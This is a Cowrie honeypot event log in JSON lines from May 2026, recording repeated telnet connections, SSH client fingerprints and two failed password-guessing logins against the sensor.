{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60648,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b5eeeadcb4","protocol":"telnet","message":"New connection: 188.95.113.134:60648 (159.203.135.109:23) [session: 32b5eeeadcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:46.074100Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60658,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f8da4803ba","protocol":"telnet","message":"New connection: 188.95.113.134:60658 (159.203.135.109:23) [session: 94f8da4803ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:46.205615Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60660,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a24fc7df459","protocol":"telnet","message":"New connection: 188.95.113.134:60660 (159.203.135.109:23) [session: 5a24fc7df459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:47.142169Z"}
{"eventid":"cowrie.session.closed","duration":4.94090723991394,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:47.147336Z","src_ip":"174.138.46.234","session":"84e47215eb9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600953578948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:47.393002Z","src_ip":"188.95.113.134","session":"0bd229246be1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74676513671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:48.626300Z","src_ip":"188.95.113.134","session":"a318e375bd10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.706176280975342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:48.667980Z","src_ip":"188.95.113.134","session":"b9ba117327cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86085319519043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:48.845956Z","src_ip":"188.95.113.134","session":"214ed0918c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707850694656372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:49.277979Z","src_ip":"188.95.113.134","session":"e11964bc699c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316660404205322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:49.510788Z","src_ip":"188.95.113.134","session":"d16d1e6197bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27474331855774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:50.630910Z","src_ip":"188.95.113.134","session":"6249e2fb67db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0990207195282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:50.689662Z","src_ip":"188.95.113.134","session":"20544327534c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34952,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b8203292f4e","protocol":"telnet","message":"New connection: 174.138.46.234:34952 (159.203.135.109:23) [session: 7b8203292f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:51.237460Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":60674,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1f82221e4a","protocol":"telnet","message":"New connection: 188.95.113.134:60674 (159.203.135.109:23) [session: 2c1f82221e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:51.431076Z"}
{"eventid":"cowrie.session.closed","duration":31.819719314575195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:51.920759Z","src_ip":"188.95.113.134","session":"f464e2bab5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9695746898651123,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:52.206905Z","src_ip":"174.138.46.234","session":"7b8203292f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843764066696167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:52.328029Z","src_ip":"188.95.113.134","session":"31c5ebc2a172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12194848060608,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:52.947177Z","src_ip":"188.95.113.134","session":"d53b84d0e4dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24416708946228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:53.079236Z","src_ip":"188.95.113.134","session":"5ebc212b476d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f885105f2089","protocol":"telnet","message":"New connection: 188.95.113.134:39696 (159.203.135.109:23) [session: f885105f2089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:53.084315Z"}
{"eventid":"cowrie.session.closed","duration":30.5537006855011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:53.140552Z","src_ip":"188.95.113.134","session":"e4f754becff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":39704,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62a2661be1d","protocol":"telnet","message":"New connection: 188.95.113.134:39704 (159.203.135.109:23) [session: c62a2661be1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:53.179474Z"}
{"eventid":"cowrie.session.closed","duration":31.158879280090332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:54.225945Z","src_ip":"188.95.113.134","session":"7846a482aae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878262758255005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:54.508859Z","src_ip":"188.95.113.134","session":"40f7a7688a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293314456939697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:54.548190Z","src_ip":"188.95.113.134","session":"1ce2cba0dec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":39720,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b1bc179f05","protocol":"telnet","message":"New connection: 188.95.113.134:39720 (159.203.135.109:23) [session: 67b1bc179f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:54.573102Z"}
{"eventid":"cowrie.session.closed","duration":31.43074107170105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:54.954360Z","src_ip":"188.95.113.134","session":"2eee24af3835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87188196182251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:56.553447Z","src_ip":"188.95.113.134","session":"13a5f6288054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.23518228530884,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:56.887089Z","src_ip":"174.138.46.234","session":"e87fa803de0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071388244628906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:58.545990Z","src_ip":"188.95.113.134","session":"4ba291ed5c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94124722480774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:59.065074Z","src_ip":"188.95.113.134","session":"69598d782d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2719087600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:59.124903Z","src_ip":"188.95.113.134","session":"d2618dc9ffdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"60029ee15d25","protocol":"ssh","message":"New connection: 59.17.95.129:49312 (10.17.0.5:22) [session: 60029ee15d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:59.387151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:59.393067Z","src_ip":"59.17.95.129","session":"60029ee15d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:58:59.598824Z","src_ip":"59.17.95.129","session":"60029ee15d25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123@","message":"login attempt [root/abc@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:00.438479Z","src_ip":"59.17.95.129","session":"60029ee15d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:01.643984Z","src_ip":"59.17.95.129","session":"60029ee15d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12256932258606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:02.091938Z","src_ip":"188.95.113.134","session":"bd12b0b10988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33946,"dst_ip":"159.203.135.109","dst_port":23,"session":"1950dd0601c1","protocol":"telnet","message":"New connection: 188.95.113.134:33946 (159.203.135.109:23) [session: 1950dd0601c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:02.868977Z"}
{"eventid":"cowrie.session.closed","duration":30.93593692779541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:04.127548Z","src_ip":"188.95.113.134","session":"5e26c3d684cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33958,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff2fdc49260","protocol":"telnet","message":"New connection: 188.95.113.134:33958 (159.203.135.109:23) [session: 1ff2fdc49260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:05.015272Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33968,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaecd3c4ec09","protocol":"telnet","message":"New connection: 188.95.113.134:33968 (159.203.135.109:23) [session: eaecd3c4ec09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:05.705161Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6d8845a217a","protocol":"telnet","message":"New connection: 188.95.113.134:33982 (159.203.135.109:23) [session: a6d8845a217a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:06.406737Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec888cfe12dc","protocol":"telnet","message":"New connection: 188.95.113.134:33984 (159.203.135.109:23) [session: ec888cfe12dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:07.836257Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33986,"dst_ip":"159.203.135.109","dst_port":23,"session":"66bac2cc152b","protocol":"telnet","message":"New connection: 188.95.113.134:33986 (159.203.135.109:23) [session: 66bac2cc152b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:09.078628Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":33998,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf8bcc7e454","protocol":"telnet","message":"New connection: 188.95.113.134:33998 (159.203.135.109:23) [session: bdf8bcc7e454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:09.105552Z"}
{"eventid":"cowrie.session.closed","duration":31.12050485610962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:09.591456Z","src_ip":"188.95.113.134","session":"c45c54ab1f5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.657194137573242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:11.000835Z","src_ip":"188.95.113.134","session":"5d12e4daa894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848259687423706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:11.079791Z","src_ip":"188.95.113.134","session":"5d463f016553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532092332839966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:11.113164Z","src_ip":"188.95.113.134","session":"100fbfcdf818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56242,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3efb766a8bd","protocol":"telnet","message":"New connection: 188.95.113.134:56242 (159.203.135.109:23) [session: d3efb766a8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:16.289901Z"}
{"eventid":"cowrie.session.closed","duration":30.939246654510498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:17.144720Z","src_ip":"188.95.113.134","session":"94f8da4803ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":56244,"dst_ip":"159.203.135.109","dst_port":23,"session":"27592396338a","protocol":"telnet","message":"New connection: 188.95.113.134:56244 (159.203.135.109:23) [session: 27592396338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:17.304898Z"}
{"eventid":"cowrie.session.closed","duration":31.403987884521484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:17.477941Z","src_ip":"188.95.113.134","session":"32b5eeeadcb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377248287200928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:18.519285Z","src_ip":"188.95.113.134","session":"5a24fc7df459","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860424518585205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:22.291293Z","src_ip":"188.95.113.134","session":"2c1f82221e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e4c98078c2f","protocol":"telnet","message":"New connection: 188.95.113.134:41646 (159.203.135.109:23) [session: 8e4c98078c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:24.038904Z"}
{"eventid":"cowrie.session.closed","duration":30.99787163734436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:24.177249Z","src_ip":"188.95.113.134","session":"c62a2661be1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.927711009979248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:25.011942Z","src_ip":"188.95.113.134","session":"f885105f2089","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":41652,"dst_ip":"159.203.135.109","dst_port":23,"session":"965c68f3dae4","protocol":"telnet","message":"New connection: 188.95.113.134:41652 (159.203.135.109:23) [session: 965c68f3dae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:25.470328Z"}
{"eventid":"cowrie.session.closed","duration":31.186201333999634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:25.759209Z","src_ip":"188.95.113.134","session":"67b1bc179f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":57914,"dst_ip":"159.203.135.109","dst_port":22,"session":"5157eea07a6f","protocol":"ssh","message":"New connection: 209.38.20.25:57914 (159.203.135.109:22) [session: 5157eea07a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:26.557627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:26.561908Z","src_ip":"209.38.20.25","session":"5157eea07a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:26.774542Z","src_ip":"209.38.20.25","session":"5157eea07a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdasd","message":"login attempt [ubuntu/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:27.651105Z","src_ip":"209.38.20.25","session":"5157eea07a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":41658,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0d6896fdeb2","protocol":"telnet","message":"New connection: 188.95.113.134:41658 (159.203.135.109:23) [session: b0d6896fdeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:27.897051Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:28.870262Z","src_ip":"209.38.20.25","session":"5157eea07a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":41664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a99b644ee69e","protocol":"telnet","message":"New connection: 188.95.113.134:41664 (159.203.135.109:23) [session: a99b644ee69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:31.591948Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48620,"dst_ip":"159.203.135.109","dst_port":23,"session":"48be8bba1f43","protocol":"telnet","message":"New connection: 174.138.46.234:48620 (159.203.135.109:23) [session: 48be8bba1f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:32.953577Z"}
{"eventid":"cowrie.session.closed","duration":30.71309542655945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:33.581930Z","src_ip":"188.95.113.134","session":"1950dd0601c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48910,"dst_ip":"159.203.135.109","dst_port":23,"session":"1afbe0c7211f","protocol":"telnet","message":"New connection: 174.138.46.234:48910 (159.203.135.109:23) [session: 1afbe0c7211f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:34.027046Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":49556,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5ddd55ab1a","protocol":"telnet","message":"New connection: 188.95.113.134:49556 (159.203.135.109:23) [session: 9d5ddd55ab1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:34.444069Z"}
{"eventid":"cowrie.session.closed","duration":31.050448894500732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:36.065608Z","src_ip":"188.95.113.134","session":"1ff2fdc49260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d96c0b68c8d","protocol":"telnet","message":"New connection: 174.138.46.234:48730 (159.203.135.109:23) [session: 4d96c0b68c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:59:36.359665Z"}
